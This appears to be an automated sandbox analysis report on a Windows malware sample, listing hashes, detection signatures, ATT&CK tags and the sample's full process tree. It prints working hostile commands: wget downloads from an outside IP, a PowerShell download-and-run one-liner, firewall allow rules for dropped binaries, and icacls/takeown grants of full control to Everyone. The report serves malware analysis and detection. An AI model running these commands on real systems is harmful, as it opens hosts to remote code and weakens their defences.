9aa8880ca3650ef28c7a1dd5869a4d720ca0f62bda8ada3fcd86226b6f20e123

Analysis

max time kernel
28s
max time network
30s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
15-11-2022 12:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tmp.exe
Size

532KB
MD5

cba9caa64e418a546044daa8744800b3
SHA1

72060361b8a025ea3e132f6015cb20a87d3dff44
SHA256

9aa8880ca3650ef28c7a1dd5869a4d720ca0f62bda8ada3fcd86226b6f20e123
SHA512

aac883eb4a0d5718d64a592632d1270c3f7ab8b8e1555f0c0a940922bc325dc07dea44a09ea3da0a0e834a4b266f1d6eb20b54523811c5992abbfc9bc56e4129
SSDEEP

12288:u5m8ZlWk6VT6qIm9qCZb5rTa8kdVXpP1PIU/bB6h1a15:5O+DD9qCZb5rTa8UPPRP/bkar

Score

10^/10

discovery evasion exploit upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://chocolatey.org/install.ps1

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 368 powershell.exe
6 368 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

wget.exewget.exe

pid process

1928 wget.exe
1868 wget.exe
Modifies Windows Firewall 1 TTPs 4 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exenetsh.exenetsh.exenetsh.exe

pid process

1784 netsh.exe
1276 netsh.exe
1824 netsh.exe
1548 netsh.exe

flow	pid	process
5	368	powershell.exe
6	368	powershell.exe

pid	process
1928	wget.exe
1868	wget.exe

pid	process
1784	netsh.exe
1276	netsh.exe
1824	netsh.exe
1548	netsh.exe

Possible privilege escalation attempt 19 IoCs

exploit

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exetakeown.exeicacls.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exe

pid	process
872	icacls.exe
1604	icacls.exe
524	icacls.exe
1656	takeown.exe
960	icacls.exe
1780	icacls.exe
1316	icacls.exe
2024	icacls.exe
952	icacls.exe
1612	icacls.exe
1168	takeown.exe
696	icacls.exe
1592	takeown.exe
1928	icacls.exe
1992	icacls.exe
1712	takeown.exe
584	takeown.exe
1620	icacls.exe
1140	icacls.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1944-61-0x000000013FD40000-0x000000013FE82000-memory.dmp	upx
C:\ProgramData\zem\wget.exe	upx
behavioral1/memory/1928-70-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
C:\ProgramData\zem\wget.exe	upx
behavioral1/memory/1868-73-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
C:\ProgramData\zem\tmp.exe	upx
C:\ProgramData\zem\wget.exe	upx
behavioral1/memory/1944-141-0x000000013FD40000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/1944-146-0x000000013FD40000-0x000000013FE82000-memory.dmp	upx

Modifies file permissions 1 TTPs 19 IoCs

discovery

File Permissions Modification

T1222

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exe

pid	process
696	icacls.exe
1656	takeown.exe
1780	icacls.exe
952	icacls.exe
1612	icacls.exe
584	takeown.exe
1620	icacls.exe
1604	icacls.exe
1168	takeown.exe
1316	icacls.exe
1992	icacls.exe
1140	icacls.exe
960	icacls.exe
1592	takeown.exe
2024	icacls.exe
1712	takeown.exe
524	icacls.exe
872	icacls.exe
1928	icacls.exe

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
behavioral1/memory/1944-61-0x000000013FD40000-0x000000013FE82000-memory.dmp	autoit_exe
behavioral1/memory/1944-141-0x000000013FD40000-0x000000013FE82000-memory.dmp	autoit_exe
behavioral1/memory/1944-146-0x000000013FD40000-0x000000013FE82000-memory.dmp	autoit_exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

368 powershell.exe
628 powershell.exe
1656 powershell.exe
2036 powershell.exe
1532 powershell.exe

pid	process
368	powershell.exe
628	powershell.exe
1656	powershell.exe
2036	powershell.exe
1532	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	368	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe

Suspicious use of FindShellTrayWindow 16 IoCs

Processes:

tmp.exe

pid	process
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe

Suspicious use of SendNotifyMessage 16 IoCs

Processes:

tmp.exe

pid	process
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe
1944	tmp.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1944 wrote to memory of 1820	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1820	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1820	1944	tmp.exe	cmd.exe
PID 1820 wrote to memory of 1784	1820	cmd.exe	netsh.exe
PID 1820 wrote to memory of 1784	1820	cmd.exe	netsh.exe
PID 1820 wrote to memory of 1784	1820	cmd.exe	netsh.exe
PID 1944 wrote to memory of 572	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 572	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 572	1944	tmp.exe	cmd.exe
PID 572 wrote to memory of 1276	572	cmd.exe	netsh.exe
PID 572 wrote to memory of 1276	572	cmd.exe	netsh.exe
PID 572 wrote to memory of 1276	572	cmd.exe	netsh.exe
PID 1944 wrote to memory of 1280	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1280	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1280	1944	tmp.exe	cmd.exe
PID 1280 wrote to memory of 1824	1280	cmd.exe	netsh.exe
PID 1280 wrote to memory of 1824	1280	cmd.exe	netsh.exe
PID 1280 wrote to memory of 1824	1280	cmd.exe	netsh.exe
PID 1944 wrote to memory of 280	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 280	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 280	1944	tmp.exe	cmd.exe
PID 280 wrote to memory of 1548	280	cmd.exe	netsh.exe
PID 280 wrote to memory of 1548	280	cmd.exe	netsh.exe
PID 280 wrote to memory of 1548	280	cmd.exe	netsh.exe
PID 1944 wrote to memory of 1928	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1928	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1928	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1928	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1868	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1868	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1868	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1868	1944	tmp.exe	wget.exe
PID 1944 wrote to memory of 1508	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1508	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1508	1944	tmp.exe	cmd.exe
PID 1508 wrote to memory of 1656	1508	cmd.exe	takeown.exe
PID 1508 wrote to memory of 1656	1508	cmd.exe	takeown.exe
PID 1508 wrote to memory of 1656	1508	cmd.exe	takeown.exe
PID 1944 wrote to memory of 1992	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1992	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1992	1944	tmp.exe	cmd.exe
PID 1992 wrote to memory of 872	1992	cmd.exe	icacls.exe
PID 1992 wrote to memory of 872	1992	cmd.exe	icacls.exe
PID 1992 wrote to memory of 872	1992	cmd.exe	icacls.exe
PID 1944 wrote to memory of 1712	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1712	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 1712	1944	tmp.exe	cmd.exe
PID 1712 wrote to memory of 960	1712	cmd.exe	icacls.exe
PID 1712 wrote to memory of 960	1712	cmd.exe	icacls.exe
PID 1712 wrote to memory of 960	1712	cmd.exe	icacls.exe
PID 1944 wrote to memory of 592	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 592	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 592	1944	tmp.exe	cmd.exe
PID 592 wrote to memory of 1604	592	cmd.exe	icacls.exe
PID 592 wrote to memory of 1604	592	cmd.exe	icacls.exe
PID 592 wrote to memory of 1604	592	cmd.exe	icacls.exe
PID 1944 wrote to memory of 368	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 368	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 368	1944	tmp.exe	cmd.exe
PID 368 wrote to memory of 1168	368	cmd.exe	takeown.exe
PID 368 wrote to memory of 1168	368	cmd.exe	takeown.exe
PID 368 wrote to memory of 1168	368	cmd.exe	takeown.exe
PID 1944 wrote to memory of 320	1944	tmp.exe	cmd.exe
PID 1944 wrote to memory of 320	1944	tmp.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\tmp.exe enable=yes
2⤵
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\tmp.exe enable=yes
3⤵
- Modifies Windows Firewall
PID:1784

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="upwget" dir=in action=allow program=%allusersprofile%\zem\wget.exe enable=yes
2⤵
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="upwget" dir=in action=allow program=C:\ProgramData\zem\wget.exe enable=yes
3⤵
- Modifies Windows Firewall
PID:1276

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="uptime_cli" dir=in action=allow program=%allusersprofile%\zem\time_cli.exe enable=yes
2⤵
- Suspicious use of WriteProcessMemory
PID:1280

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="uptime_cli" dir=in action=allow program=C:\ProgramData\zem\time_cli.exe enable=yes
3⤵
- Modifies Windows Firewall
PID:1824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=%allusersprofile%\zem\up2batdownload.exe enable=yes
2⤵
- Suspicious use of WriteProcessMemory
PID:280

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\ProgramData\zem\up2batdownload.exe enable=yes
3⤵
- Modifies Windows Firewall
PID:1548

C:\ProgramData\zem\wget.exe
C:\ProgramData\zem\wget.exe --tries=2 -o "%ALLUSERSPROFILE%\zem\log\not_in_right_dir_up2bat64atstrtp.txt" -N -P "C:\ProgramData\zem" --user-agent="SABDUHNY_Admin" 84.240.25.78/openforschool/bat/update64.bat
2⤵
- Executes dropped EXE
PID:1928

C:\ProgramData\zem\wget.exe
C:\ProgramData\zem\wget.exe --tries=2 -o "%ALLUSERSPROFILE%\zem\log\not_in_right_dir_cmdhatstrtp.txt" -N -P "C:\ProgramData\zem" --user-agent="SABDUHNY_Admin" 84.240.25.78/openforschool/prg/cmdh.exe
2⤵
- Executes dropped EXE
PID:1868

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem /D Y
2⤵
- Suspicious use of WriteProcessMemory
PID:1508

C:\Windows\system32\takeown.exe
takeown /R /f C:\ProgramData\zem /D Y
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Everyone:F /T
2⤵
- Suspicious use of WriteProcessMemory
PID:1992

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem /grant Everyone:F /T
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /T /inheritance:r
2⤵
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem /T /inheritance:r
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:960

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Everyone:(OI)(CI)F
2⤵
- Suspicious use of WriteProcessMemory
PID:592

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem /grant Everyone:(OI)(CI)F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1604

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\log /D Y
2⤵
- Suspicious use of WriteProcessMemory
PID:368

C:\Windows\system32\takeown.exe
takeown /R /f C:\ProgramData\zem\log /D Y
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1168

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Everyone:F /T
2⤵
PID:320

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\log /grant Everyone:F /T
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1780

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Everyone:(OI)(CI)F
2⤵
PID:840

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\log /grant Everyone:(OI)(CI)F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\upd /D Y
2⤵
PID:1688

C:\Windows\system32\takeown.exe
takeown /R /f C:\ProgramData\zem\upd /D Y
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1592

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Everyone:F /T
2⤵
PID:1292

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\upd /grant Everyone:F /T
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1316

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Everyone:(OI)(CI)F
2⤵
PID:240

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\upd /grant Everyone:(OI)(CI)F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1928

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Все:F /T
2⤵
PID:1876

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem /grant Все:F /T
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2024

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /T /inheritance:r
2⤵
PID:1656

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem /T /inheritance:r
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:952

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Все:(OI)(CI)F
2⤵
PID:688

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem /grant Все:(OI)(CI)F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1992

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\log /D Y
2⤵
PID:672

C:\Windows\system32\takeown.exe
takeown /R /f C:\ProgramData\zem\log /D Y
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Все:F /T
2⤵
PID:1708

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\log /grant Все:F /T
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Все:(OI)(CI)F
2⤵
PID:772

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\log /grant Все:(OI)(CI)F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:524

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\upd /D Y
2⤵
PID:1544

C:\Windows\system32\takeown.exe
takeown /R /f C:\ProgramData\zem\upd /D Y
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:584

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Все:F /T
2⤵
PID:1280

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\upd /grant Все:F /T
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1620

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Все:(OI)(CI)F
2⤵
PID:1104

C:\Windows\system32\icacls.exe
ICACLS C:\ProgramData\zem\upd /grant Все:(OI)(CI)F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Adobe Flash Player Updater" /F
2⤵
PID:1768

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "Adobe Flash Player Updater" /F
3⤵
PID:1672

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Adobe Flash Player PPAPI Notifier" /F
2⤵
PID:836

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "Adobe Flash Player PPAPI Notifier" /F
3⤵
PID:1648

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1009" /F
2⤵
PID:2012

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1009" /F
3⤵
PID:1868

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1011" /F
2⤵
PID:1984

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1011" /F
3⤵
PID:768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "User_Feed_Synchronization-{31CAA45B-2034-4501-B12A-BB56B5804873}" /F
2⤵
PID:964

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "User_Feed_Synchronization-{31CAA45B-2034-4501-B12A-BB56B5804873}" /F
3⤵
PID:960

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "User_Feed_Synchronization-{95D3B369-FB41-4E58-8BBD-842C00C86AA9}" /F
2⤵
PID:1712

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "User_Feed_Synchronization-{95D3B369-FB41-4E58-8BBD-842C00C86AA9}" /F
3⤵
PID:288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /F
2⤵
PID:1612

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /F
3⤵
PID:896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /F
2⤵
PID:524

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /F
3⤵
PID:572

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_uninstall_java" /F
2⤵
PID:1720

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_uninstall_java" /F
3⤵
PID:396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_java64" /F
2⤵
PID:544

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_java64" /F
3⤵
PID:696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_firefox64" /F
2⤵
PID:1360

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_firefox64" /F
3⤵
PID:1104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_vlc64" /F
2⤵
PID:280

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_vlc64" /F
3⤵
PID:1792

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_foxitreader_latest" /F
2⤵
PID:1108

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_foxitreader_latest" /F
3⤵
PID:1648

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player_ax" /F
2⤵
PID:836

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_install_flash_player_ax" /F
3⤵
PID:844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player_ppapi" /F
2⤵
PID:1764

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_install_flash_player_ppapi" /F
3⤵
PID:948

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player" /F
2⤵
PID:768

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_install_flash_player" /F
3⤵
PID:828

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_7z64" /F
2⤵
PID:2036

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_7z64" /F
3⤵
PID:1832

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_run" /F
2⤵
PID:1952

C:\Windows\system32\schtasks.exe
schtasks /delete /TN "test_n_run" /F
3⤵
PID:1784

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c copy /Y /Z C:\Users\Admin\AppData\Local\Temp\tmp.exe %ALLUSERSPROFILE%\zem\up2batdownload.exe
2⤵
PID:1712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c @powershell -NoProfile -ExecutionPolicy unrestricted -Command iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1')) && SET PATH=%PATH%;%systemdrive%\chocolatey\bin
2⤵
PID:896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -ExecutionPolicy unrestricted -Command iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:368

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c powershell cinst powershell -y
2⤵
PID:1620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell cinst powershell -y
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c echo chocolatey >> %ALLUSERSPROFILE%\zem\log\not_in_right_dir_chocolatey.txt
2⤵
PID:1648

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\zem\run.bat
2⤵
PID:2024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "Set-ExecutionPolicy RemoteSigned -force"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell C:\ProgramData\zem\start.ps1
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "Set-ExecutionPolicy Restricted -force"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\zem\update64.bat
2⤵
PID:1508

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\zem\run.bat
Filesize
4KB

MD5
092b3d397b9c50e6f9574b815c399475

SHA1
b6b14b70687e1e42012badb256d56df3b356b001

SHA256
15dd0e2ef2f128a458f84d39ecf35a7e0953cc2ea2c2dd753b59218cab6245ea

SHA512
6d495dba29a571bc5e4b9b2c4c3e940b80e912cf6eb937b0c81e0b6040dac6689d61b5245c00ed18bd3309553f93cf31c74d6a03afc480614fc41cab04c2c11d

Download Submit
C:\ProgramData\zem\start.ps1
Filesize
3KB

MD5
d4f9a10e7f13780b24f064f8579e0c94

SHA1
78042ae2db47b563027027af95a8b61726081457

SHA256
955963d1f9e82407cfbde525777f06dc700f5f7eb71756fc384b78d2e0d47af1

SHA512
89fcf0e298c362642317e66aa28032877a9b830c076e2eaf705e5e2e336326f9ae02a82c11a20a28073320ce8205775067b2ba35f2bc9f1bed2e9f3edbf3fec5

Download Submit
C:\ProgramData\zem\tmp.exe
Filesize
532KB

MD5
cba9caa64e418a546044daa8744800b3

SHA1
72060361b8a025ea3e132f6015cb20a87d3dff44

SHA256
9aa8880ca3650ef28c7a1dd5869a4d720ca0f62bda8ada3fcd86226b6f20e123

SHA512
aac883eb4a0d5718d64a592632d1270c3f7ab8b8e1555f0c0a940922bc325dc07dea44a09ea3da0a0e834a4b266f1d6eb20b54523811c5992abbfc9bc56e4129

Download Submit
C:\ProgramData\zem\wget.exe
Filesize
392KB

MD5
bd126a7b59d5d1f97ba89a3e71425731

SHA1
457b1cd985ed07baffd8c66ff40e9c1b6da93753

SHA256
a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599

SHA512
3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a

Download Submit
C:\ProgramData\zem\wget.exe
Filesize
392KB

MD5
bd126a7b59d5d1f97ba89a3e71425731

SHA1
457b1cd985ed07baffd8c66ff40e9c1b6da93753

SHA256
a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599

SHA512
3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a

Download Submit
C:\ProgramData\zem\wget.exe
Filesize
392KB

MD5
bd126a7b59d5d1f97ba89a3e71425731

SHA1
457b1cd985ed07baffd8c66ff40e9c1b6da93753

SHA256
a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599

SHA512
3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
77ab86eb46014c6165a1e21d4becc830

SHA1
9730b0c3066a07aa1ff87f048d28857f1691cc50

SHA256
dce3c4b4571dda98fe06bd866d140e40dcedf4e5e1784ac8a91e94c910e626cf

SHA512
